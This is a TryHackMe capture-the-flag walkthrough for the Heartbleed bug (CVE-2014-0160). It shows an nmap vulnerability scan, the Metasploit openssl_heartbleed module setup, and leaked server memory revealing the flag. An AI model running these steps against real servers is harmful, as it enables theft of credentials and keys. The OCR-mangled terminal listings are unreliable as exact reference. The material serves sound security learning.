

# HeartBleed\_Walkthrough

## Nmap\_HeartBleed\_Scan

```
nmap -sV -p 443 --script=ssl-heartbleed.nse 34.245.173.187
```

Starting Nmap 7.93 ( <https://nmap.org> ) at 2022-11-02 18:06 PDT

Nmap scan report for ec2-34-245-173-187.eu-west-1.compute.amazonaws.com (34.245.173.187)

Host is up (0.22s latency).

PORT STATE SERVICE VERSION

443/tcp open ssl/http nginx 1.15.7

| ssl-heartbleed:

| VULNERABLE:

| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.

| State: VULNERABLE

| Risk factor: High

| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.

|

| References:

| <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160>

| [http://www.openssl.org/news/secadv\\_20140407.txt](http://www.openssl.org/news/secadv_20140407.txt)

|\_ <http://cvedetails.com/cve/2014-0160/>

|\_ http-server-header: nginx/1.15.7

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 21.08 seconds

## Notes

We can see that this machine is vulnerable to HeartBleed. Doing some google fu you find that we can use metasploit to get leaked information, so lets load metasploit.

## Metasploit\_Module

```
kali@kali: ~/Desktop/TRYHACKME/HeartBleed
File Actions Edit View Help

msf6 > search heartbleed

References:
Matching Modules
-----
# Name Disclosure Date Rank Check Description
- -
0 auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 //nmap normal No/ . OpenSSL Heartbeat
(Heartbleed) Client Memory Exposure in 21.08 seconds
1 auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal Yes OpenSSL Heartbeat
(Heartbleed) Information Leak HeartBleed

By gedit Nmap_HeartBleed_Scan
password for kali:
Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssl/openssl_h
eartbleed WARNING **: 18:08:15.124: Set document metadata failed: Setting attribute metadata::gedi
-language not supported
msf6 > █

dit:9963): WARNING **: 18:08:15.124: Set document metadata failed: Setting attribute metadata::gedi
ding not supported

dit:9963): WARNING **: 18:08:19.464: Set document metadata failed: Setting attribute metadata::gedi
tion not supported

li@kali)~[~/Desktop/TRYHACKME/HeartBleed]
```

## Notes

Select number 1 and input options.

## HeartBleed\_Scanner\_Options

```
kali@kali: ~/Desktop/TRYHACKME/HeartBleed
File Actions Edit View Help

Name Current Setting Required Description
-----
DUMPFILTER mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 no Pattern to filter leaked memory before storing
LEAK_COUNT openssl 1 /news/secadv_20140407.txt yes Number of times to leak memory per SCAN or DUMP invocati
ion
MAX_KEYTRIES nginx 50 15.7 yes Max tries to dump key
RESPONSE_TIMEOUT 10 yes Number of seconds to wait for a server response
RHOSTS performed 34.245.173.187 and incorrect one: 1 IP address (1 host up) scanned in 21.08 se yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
STATUS_EVERY top/TRYHACKME/HeartBleed 5 yes How many retries until key dump status
THREADS top_HeartBleed_Scan 1 yes The number of concurrent threads (max one per host)
pas TLS_CALLBACK i: None yes Protocol to use, "None" to use raw TLS sockets (Accepted: None, SMTP, IMAP, JABBER, POP3, FTP, POSTGRES)
dit: TLS_VERSION NG **: 18:08:15.124: Set document metadata failed: Setting attribute metadata::gedi yes TLS/SSL version to use (Accepted: SSLv3, 1.0, 1.1, 1.2)
-language not supported

Auxiliary action: **: 18:08:15.124: Set document metadata failed: Setting attribute metadata::gedi
ding not supported
Name Description
dit: **: 18:08:19.464: Set document metadata failed: Setting attribute metadata::gedi
tion not supported
SCAN s Check hosts for vulnerability

li@kali)~[~/Desktop/TRYHACKME/HeartBleed]
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > █
```

# Notes

Set RHOSTS  
set VERBOSE TRUE  
run

## Flag

```
kali@kali: ~/Desktop/TRYHACKME/HeartBleed
File Actions Edit View Help
:: Name CN=localhost,OU=TryHackMe,O=TryHackMe,L=London,ST=London,C=UK>, serial=#<OpenSSL::BN:0x00007f223d4
58da8>, not_before=2019-02-16 10:41:14 UTC, not_after=2020-02-16 10:41:14 UTC>
[*] 34.245.173.187:443 - SSL record #3: name=CVE-2014-0160
[*] 34.245.173.187:443 - /ser Type: 0140 227.txt
[*] 34.245.173.187:443 - 2014- Version: 0x0301
[*] 34.245.173.187:443 - Length: 331
[*] 34.245.173.187:443 - Handshake #1:
[*] 34.245.173.187:443 - report any Length: 327 results at https://nmap.org/submit/ .
[*] 34.245.173.187:443 - scanned in Type: se Server Key Exchange (12)
[*] 34.245.173.187:443 - SSL record #4:
[*] 34.245.173.187:443 - ME/He Type: eed 22
[*] 34.245.173.187:443 - Version: 0x0301
[*] 34.245.173.187:443 - Length: 4
[*] 34.245.173.187:443 - Handshake #1:
[*] 34.245.173.187:443 - 15.124: Set Length: 0 metadata failed: Setting attribute metadata::gedi
[*] 34.245.173.187:443 - Type: Server Hello Done (14)
[*] 34.245.173.187:443 - Sending Heartbeat ...
[*] 34.245.173.187:443 - Heartbeat response, 65535 bytes failed: Setting attribute metadata::gedi
[+] 34.245.173.187:443 - Heartbeat response with leak, 65535 bytes
[*] 34.245.173.187:443 - Printable info leaked:
.....cb.p.P.....#j)T....:7.V.....e0| ... f.....".!.9.8.....6...5.....3.2.....E.D..
... / ... A.....36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36..
Content-Length: 75..Content-Type: application/x-www-form-urlencoded...user_name=hacker101&user_email=hax
or@haxor.com&user_message=THM{SSL-Is-BaD}q...._ ... > ... Y|.....-.....3.&.$ ... _..v.xD.C.\A....J..
K.. ].....u ... N.....{.t.y.h.n ... u
```

# Notes

If you looked under printable info leaked you will see the flag.

Thanks I hope you enjoyed.